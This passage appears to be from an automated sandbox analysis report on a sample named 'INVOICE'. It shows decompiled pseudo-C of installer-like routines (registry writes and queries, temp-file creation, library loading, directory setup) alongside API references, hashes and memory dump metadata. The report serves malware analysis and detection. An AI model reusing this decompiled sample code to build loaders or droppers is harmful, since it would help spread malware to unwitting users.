						E73E82E23(_t54);
						L12:
						_t54 = _t48;
						L13:
						goto L14;
					}
					_t49 = _t48 - 1;
					if(_t49 == 0) {
						L8:
						_t48 = E73E82B98(_t57, _t54); // executed
						goto L12;
					}
					_t50 = _t49 - 1;
					if(_t50 == 0) {
						E73E82810(_t54);
						goto L13;
					}
					if(_t50 != 1) {
						goto L14;
					}
					goto L8;
				}
			}

0x73e81817
0x73e81817
0x73e81817
0x73e81824
0x73e8182c
0x73e81839
0x73e81847
0x73e8184a
0x73e8184c
0x73e81851
0x73e81856
0x73e81978
0x73e81978
0x73e8185c
0x73e81860
0x73e81863
0x73e81868
0x73e81869
0x73e8186a
0x73e81870
0x73e81876
0x73e818a6
0x73e818ad
0x73e818d1
0x73e8191e
0x73e8191f
0x73e818d3
0x73e818d3
0x73e818d4
0x73e818dd
0x73e818de
0x73e818e8
0x73e818eb
0x73e818f0
0x73e818f7
0x73e818f7
0x73e818fd
0x73e818fe
0x73e81904
0x73e8190a
0x73e81917
0x73e81918
0x73e8191b
0x73e818af
0x73e818af
0x73e818b0
0x73e818c5
0x73e818c5
0x73e81929
0x73e8192c
0x73e81939
0x73e81940
0x73e81948
0x73e8194b
0x73e8194b
0x73e81948
0x73e81958
0x73e81960
0x73e81965
0x73e81958
0x73e8196d
0x00000000
0x73e8196f
0x73e81970
0x00000000
0x73e81970
0x73e8196d
0x73e8187a
0x73e8187d
0x73e8189b
0x00000000
0x00000000
0x73e8189e
0x73e818a3
0x73e818a3
0x73e818a5
0x00000000
0x73e818a5
0x73e8187f
0x73e81880
0x73e81888
0x73e81889
0x00000000
0x73e81889
0x73e81882
0x73e81883
0x73e81891
0x00000000
0x73e81891
0x73e81886
0x00000000
0x00000000
0x00000000
0x73e81886

APIs

Part of subcall function 73E81BFF: GlobalFree.KERNEL32(?), ref: 73E81E74
Part of subcall function 73E81BFF: GlobalFree.KERNEL32(?), ref: 73E81E79
Part of subcall function 73E81BFF: GlobalFree.KERNEL32(?), ref: 73E81E7E

GlobalFree.KERNEL32(00000000), ref: 73E818C5
FreeLibrary.KERNEL32(?), ref: 73E8194B
GlobalFree.KERNELBASE(00000000), ref: 73E81970

Part of subcall function 73E8243E: GlobalAlloc.KERNEL32(00000040,?), ref: 73E8246F

Part of subcall function 73E82810: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,73E81896,00000000), ref: 73E828E0

Part of subcall function 73E81666: wsprintfW.USER32 ref: 73E81694

Strings

, xrefs: 73E81951

Memory Dump Source

Source File: 00000000.00000002.1067951591.0000000073E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 73E80000, based on PE: true

Associated: 00000000.00000002.1067875254.0000000073E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1068020301.0000000073E84000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1068074588.0000000073E86000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73e80000_INVOICE.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 74397d1db2577148c98b61ccc3a9bbc04e1243e4f0cb0e58409c2f4ab86a4e47
Instruction ID: 97e460ede9c638738ee430f98fcf10c7e2e6ef95fa9c5ad41f2231fccba4ff14
Opcode Fuzzy Hash: 74397d1db2577148c98b61ccc3a9bbc04e1243e4f0cb0e58409c2f4ab86a4e47
Instruction Fuzzy Hash: 1E41B072C013499BEB019F74D988BDD37BCAF04358F186865E94FAA1C6DB788085DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0040248A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040248A(void* __eax, int __ebx, intOrPtr __edx, void* __eflags) {
				void* _t20;
				void* _t21;
				int _t24;
				long _t25;
				int _t30;
				intOrPtr _t33;
				void* _t34;
				intOrPtr _t37;
				void* _t39;
				void* _t42;

				_t42 = __eflags;
				_t33 = __edx;
				_t30 = __ebx;
				_t37 =  *((intOrPtr*)(_t39 - 0x20));
				_t34 = __eax;
				 *(_t39 - 0x10) =  *(_t39 - 0x1c);
				 *(_t39 - 0x44) = E00402DA6(2);
				_t20 = E00402DA6(0x11);
				 *(_t39 - 4) = 1;
				_t21 = E00402E36(_t42, _t34, _t20, 2); // executed
				 *(_t39 + 8) = _t21;
				if(_t21 != __ebx) {
					_t24 = 0;
					if(_t37 == 1) {
						E00402DA6(0x23);
						_t24 = lstrlenW(0x40b5f0) + _t29 + 2;
					}
					if(_t37 == 4) {
						 *0x40b5f0 = E00402D84(3);
						 *((intOrPtr*)(_t39 - 0x38)) = _t33;
						_t24 = _t37;
					}
					if(_t37 == 3) {
						_t24 = E004032B4( *((intOrPtr*)(_t39 - 0x24)), _t30, 0x40b5f0, 0x1800);
					}
					_t25 = RegSetValueExW( *(_t39 + 8),  *(_t39 - 0x44), _t30,  *(_t39 - 0x10), 0x40b5f0, _t24); // executed
					if(_t25 == 0) {
						 *(_t39 - 4) = _t30;
					}
					_push( *(_t39 + 8));
					RegCloseKey(); // executed
				}
				 *0x434f88 =  *0x434f88 +  *(_t39 - 4);
				return 0;
			}

0x0040248a
0x0040248a
0x0040248a
0x0040248a
0x0040248d
0x00402494
0x0040249e
0x004024a1
0x004024aa
0x004024b1
0x004024b8
0x004024bb
0x004024c1
0x004024cb
0x004024cf
0x004024da
0x004024da
0x004024e1
0x004024eb
0x004024f1
0x004024f4
0x004024f4
0x004024f8
0x00402504
0x00402504
0x00402515
0x0040251d
0x0040251f
0x0040251f
0x00402522
0x004025fd
0x004025fd
0x00402c2d
0x00402c39

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nspB8FC.tmp,00000023,00000011,00000002), ref: 004024D5
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nspB8FC.tmp,00000000,00000011,00000002), ref: 00402515
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nspB8FC.tmp,00000000,00000011,00000002), ref: 004025FD

Strings

C:\Users\user\AppData\Local\Temp\nspB8FC.tmp, xrefs: 004024C6, 004024D4, 004024EB, 004024FF, 0040250A

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp
API String ID: 2655323295-3154448967
Opcode ID: bd51451fa2ef528cdea9a187014f9e15a2c5fc70eee7c119300a555a695e43e9
Instruction ID: a32c4fc66ba480c3aafb49ec1434dbeb720bd0d2787204a1d049ba7b64bbfaa1
Opcode Fuzzy Hash: bd51451fa2ef528cdea9a187014f9e15a2c5fc70eee7c119300a555a695e43e9
Instruction Fuzzy Hash: 8B118E71E00119BEEF10AFA5DE49EAEBAB8FF44358F15443AF504F61C1D7B88D40AA58

Uniqueness

Uniqueness Score: -1.00%

Function 0040605C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040605C(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				intOrPtr _v8;
				short _v12;
				short _t12;
				intOrPtr _t13;
				signed int _t14;
				WCHAR* _t17;
				signed int _t19;
				signed short _t23;
				WCHAR* _t26;

				_t26 = _a4;
				_t23 = 0x64;
				while(1) {
					_t12 =  *L"nsa"; // 0x73006e
					_t23 = _t23 - 1;
					_v12 = _t12;
					_t13 =  *0x40a57c; // 0x61
					_v8 = _t13;
					_t14 = GetTickCount();
					_t19 = 0x1a;
					_v8 = _v8 + _t14 % _t19;
					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
					if(_t17 != 0) {
						break;
					}
					if(_t23 != 0) {
						continue;
					} else {
						 *_t26 =  *_t26 & _t23;
					}
					L4:
					return _t17;
				}
				_t17 = _t26;
				goto L4;
			}

0x00406062
0x00406068
0x00406069
0x00406069
0x0040606e
0x0040606f
0x00406072
0x00406077
0x0040607a
0x00406084
0x00406091
0x00406095
0x0040609d
0x00000000
0x00000000
0x004060a1
0x00000000
0x004060a3
0x004060a3
0x004060a3
0x004060a6
0x004060a9
0x004060a9
0x004060ac
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040607A
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,?,0040352B,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00406095

Strings

nsa, xrefs: 00406069
C:\Users\user\AppData\Local\Temp\, xrefs: 00406061

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-944333549
Opcode ID: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
Instruction ID: cc98cbd97bba9fac9576f26979179aa346a2ab2dc3c85b14509754d74f2b81c3
Opcode Fuzzy Hash: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
Instruction Fuzzy Hash: CEF09076B40204FBEB00CF69ED05E9EB7BCEB95750F11803AFA05F7140E6B499648768

Uniqueness

Uniqueness Score: -1.00%

Function 004020D8 Relevance: 4.6, APIs: 3, Instructions: 73
libraryCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E004020D8(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t31;
				void* _t32;
				WCHAR* _t35;
				intOrPtr* _t36;
				void* _t37;
				void* _t39;

				_t32 = __ebx;
				asm("sbb eax, 0x434fc0");
				 *(_t39 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x434f88 =  *0x434f88 +  *(_t39 - 4);
					return 0;
				}
				_t35 = E00402DA6(0xfffffff0);
				 *((intOrPtr*)(_t39 - 0x44)) = E00402DA6(1);
				if( *((intOrPtr*)(_t39 - 0x20)) == __ebx) {
					L3:
					_t23 = LoadLibraryExW(_t35, _t32, 8); // executed
					_t47 = _t23 - _t32;
					 *(_t39 + 8) = _t23;
					if(_t23 == _t32) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t36 = E00406979(_t47,  *(_t39 + 8),  *((intOrPtr*)(_t39 - 0x44)));
					if(_t36 == _t32) {
						E0040559F(0xfffffff7,  *((intOrPtr*)(_t39 - 0x44)));
					} else {
						 *(_t39 - 4) = _t32;
						if( *((intOrPtr*)(_t39 - 0x28)) == _t32) {
							 *_t36( *((intOrPtr*)(_t39 - 8)), 0x400, _t37, 0x40ce50, 0x40a000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t39 - 0x28)));
							if( *_t36() != 0) {
								 *(_t39 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t39 - 0x24)) == _t32 && E00403B8C( *(_t39 + 8)) != 0) {
						FreeLibrary( *(_t39 + 8));
					}
					goto L16;
				}
				_t31 = GetModuleHandleW(_t35); // executed
				 *(_t39 + 8) = _t31;
				if(_t31 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x004020d8
0x004020d8
0x004020dd
0x004020e4
0x004021a3
0x004022f1
0x004022f1
0x00402c2a
0x00402c2d
0x00402c39
0x00402c39
0x004020f3
0x004020fd
0x00402100
0x00402110
0x00402114
0x0040211a
0x0040211c
0x0040211f
0x0040219c
0x00000000
0x0040219c
0x00402121
0x0040212c
0x00402130
0x00402170
0x00402132
0x00402135
0x00402138
0x00402164
0x0040213a
0x0040213d
0x00402146
0x00402148
0x00402148
0x00402146
0x00402138
0x00402178
0x00402191
0x00402191
0x00000000
0x00402178
0x00402103
0x0040210b
0x0040210e
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402103

Part of subcall function 0040559F: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,00000000,00425A20,772523A0,?,?,?,?,?,?,?,?,?,00403418,00000000,?), ref: 004055D7
Part of subcall function 0040559F: lstrlenW.KERNEL32(00403418,Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,00000000,00425A20,772523A0,?,?,?,?,?,?,?,?,?,00403418,00000000), ref: 004055E7
Part of subcall function 0040559F: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,00403418), ref: 004055FA
Part of subcall function 0040559F: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll), ref: 0040560C
Part of subcall function 0040559F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405632
Part of subcall function 0040559F: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040564C
Part of subcall function 0040559F: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565A

LoadLibraryExW.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00402114
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402191

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 57a0a3861126cd1cf6113bcab6e3fe6859f719f612c4d6b86b9542baaaa6fbc1
Instruction ID: d1cf9917c249e547a3b1759614bc69e8b445b1996c4dbd71fd6f6dd46acd7470
Opcode Fuzzy Hash: 57a0a3861126cd1cf6113bcab6e3fe6859f719f612c4d6b86b9542baaaa6fbc1
Instruction Fuzzy Hash: 2A21C231904104FACF11AFA5CE48A9D7A71BF48358F20413BF605B91E1DBBD8A82965D

Uniqueness

Uniqueness Score: -1.00%

Function 0040259E Relevance: 4.5, APIs: 3, Instructions: 47
registryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040259E(int* __ebx, intOrPtr __edx, short* __edi) {
				void* _t9;
				int _t10;
				long _t13;
				int* _t16;
				intOrPtr _t21;
				short* _t22;
				void* _t24;
				void* _t26;
				void* _t29;

				_t22 = __edi;
				_t21 = __edx;
				_t16 = __ebx;
				_t9 = E00402DE6(_t29, 0x20019); // executed
				_t24 = _t9;
				_t10 = E00402D84(3);
				 *((intOrPtr*)(_t26 - 0x10)) = _t21;
				 *__edi = __ebx;
				if(_t24 == __ebx) {
					 *((intOrPtr*)(_t26 - 4)) = 1;
				} else {
					 *(_t26 + 8) = 0x3ff;
					if( *((intOrPtr*)(_t26 - 0x20)) == __ebx) {
						_t13 = RegEnumValueW(_t24, _t10, __edi, _t26 + 8, __ebx, __ebx, __ebx, __ebx);
						__eflags = _t13;
						if(_t13 != 0) {
							 *((intOrPtr*)(_t26 - 4)) = 1;
						}
					} else {
						RegEnumKeyW(_t24, _t10, __edi, 0x3ff); // executed
					}
					_t22[0x3ff] = _t16;
					_push(_t24); // executed
					RegCloseKey(); // executed
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t26 - 4));
				return 0;
			}

0x0040259e
0x0040259e
0x0040259e
0x004025a3
0x004025aa
0x004025ac
0x004025b4
0x004025b7
0x004025ba
0x0040292e
0x004025c0
0x004025c8
0x004025cb
0x004025e4
0x004025ea
0x004025ec
0x004025ee
0x004025ee
0x004025cd
0x004025d1
0x004025d1
0x004025f5
0x004025fc
0x004025fd
0x004025fd
0x00402c2d
0x00402c39

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004025D1
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 004025E4
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nspB8FC.tmp,00000000,00000011,00000002), ref: 004025FD

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 282fe891f4a31cf70be3ebd712aa9c01db03dc4d079e2dd7ca118a5660eead5a
Instruction ID: 08080f496e1fbaad801da7c4a2f11cdf7a22a5a493a276a89d416976773fa01e
Opcode Fuzzy Hash: 282fe891f4a31cf70be3ebd712aa9c01db03dc4d079e2dd7ca118a5660eead5a
Instruction Fuzzy Hash: 89017CB1A04105ABEB159F94DE58AAEB66CEF40348F10403AF501B61C0EBB85E44966D

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E004015C1(short __ebx, void* __eflags) {
				void* _t17;
				int _t23;
				void* _t25;
				signed char _t26;
				short _t28;
				short _t31;
				short* _t34;
				void* _t36;

				_t28 = __ebx;
				 *(_t36 + 8) = E00402DA6(0xfffffff0);
				_t17 = E00405EB7(_t16);
				_t32 = _t17;
				if(_t17 != __ebx) {
					do {
						_t34 = E00405E39(_t32, 0x5c);
						_t31 =  *_t34;
						 *_t34 = _t28;
						if(_t31 != _t28) {
							L5:
							_t25 = E00405AEB( *(_t36 + 8));
						} else {
							_t42 =  *((intOrPtr*)(_t36 - 0x28)) - _t28;
							if( *((intOrPtr*)(_t36 - 0x28)) == _t28 || E00405B08(_t42) == 0) {
								goto L5;
							} else {
								_t25 = E00405A6E( *(_t36 + 8)); // executed
							}
						}
						if(_t25 != _t28) {
							if(_t25 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
							} else {
								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
								if((_t26 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						 *_t34 = _t31;
						_t32 = _t34 + 2;
					} while (_t31 != _t28);
				}
				if( *((intOrPtr*)(_t36 - 0x2c)) == _t28) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E0040653D(0x441000,  *(_t36 + 8));
					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
					if(_t23 == 0) {
						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
					}
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t36 - 4));
				return 0;
			}

0x004015c1
0x004015c9
0x004015cc
0x004015d1
0x004015d5
0x004015d7
0x004015df
0x004015e1
0x004015e4
0x004015ea
0x00401604
0x00401607
0x004015ec
0x004015ec
0x004015ef
0x00000000
0x004015fa
0x004015fd
0x004015fd
0x004015ef
0x0040160e
0x00401615
0x00401624
0x00401624
0x00401617
0x0040161a
0x00401622
0x00000000
0x00000000
0x00401622
0x00401615
0x00401627
0x0040162b
0x0040162c
0x004015d7
0x00401634
0x00401663
0x004022f1
0x00401636
0x00401638
0x00401645
0x0040164d
0x00401655
0x0040165b
0x0040165b
0x00401655
0x00402c2d
0x00402c39

APIs

Part of subcall function 00405EB7: CharNextW.USER32(?,?,0042FA70,?,00405F2B,0042FA70,0042FA70, 4%w,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,77253420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405EC5
Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405ECA
Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405EE2

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405A6E: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB1

SetCurrentDirectoryW.KERNELBASE(?,00441000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: ba54128ff5b5058777b79fccadcb4a48bc090ad694552908408a69dde096ba94
Instruction ID: 910f9ca0e916fbda017ea5bccd1daba2d9720f9cae8b5c5670dceb894c5ef12e
Opcode Fuzzy Hash: ba54128ff5b5058777b79fccadcb4a48bc090ad694552908408a69dde096ba94
Instruction Fuzzy Hash: 3E11D031504110EBCF216FA5CD4099F36A0EF25369B28493BE945B52F1DA3E4A829A8E

Uniqueness

Uniqueness Score: -1.00%

Function 0040252A Relevance: 3.1, APIs: 2, Instructions: 56
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040252A(int* __ebx, char* __edi) {
				void* _t17;
				short* _t18;
				void* _t35;
				void* _t37;
				void* _t40;

				_t33 = __edi;
				_t27 = __ebx;
				_t17 = E00402DE6(_t40, 0x20019); // executed
				_t35 = _t17;
				_t18 = E00402DA6(0x33);
				 *__edi = __ebx;
				if(_t35 == __ebx) {
					 *(_t37 - 4) = 1;
				} else {
					 *(_t37 - 0x10) = 0x800;
					if(RegQueryValueExW(_t35, _t18, __ebx, _t37 + 8, __edi, _t37 - 0x10) != 0) {
						L7:
						 *_t33 = _t27;
						 *(_t37 - 4) = 1;
					} else {
						if( *(_t37 + 8) == 4) {
							__eflags =  *(_t37 - 0x20) - __ebx;
							 *(_t37 - 4) = 0 |  *(_t37 - 0x20) == __ebx;
							E00406484(__edi,  *__edi);
						} else {
							if( *(_t37 + 8) == 1 ||  *(_t37 + 8) == 2) {
								 *(_t37 - 4) =  *(_t37 - 0x20);
								_t33[0x7fe] = _t27;
							} else {
								goto L7;
							}
						}
					}
					_push(_t35); // executed
					RegCloseKey(); // executed
				}
				 *0x434f88 =  *0x434f88 +  *(_t37 - 4);
				return 0;
			}

0x0040252a
0x0040252a
0x0040252f
0x00402536
0x00402538
0x0040253f
0x00402542
0x0040292e
0x00402548
0x0040254b
0x00402566
0x00402596
0x00402596
0x00402599
0x00402568
0x0040256c
0x00402585
0x0040258c
0x0040258f
0x0040256e
0x00402571
0x0040257c
0x004025f5
0x00000000
0x00000000
0x00000000
0x00402571
0x0040256c
0x004025fc
0x004025fd
0x004025fd
0x00402c2d
0x00402c39

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000033), ref: 0040255B
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nspB8FC.tmp,00000000,00000011,00000002), ref: 004025FD

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: b95c57b792f8c726f9f72c2c9ca04ea416bcfe3f102bc7dd2ff59602032287a7
Instruction ID: 3e5dab0bbcc9b7b4348569693e39c51bc0b27c59e8ea0ed6abb05ebc10b9b344
Opcode Fuzzy Hash: b95c57b792f8c726f9f72c2c9ca04ea416bcfe3f102bc7dd2ff59602032287a7
Instruction Fuzzy Hash: 5F116D71900219EADF14DFA4DA589AE77B4FF04345B20443BE401B62C0E7B88A45EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x434f30;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
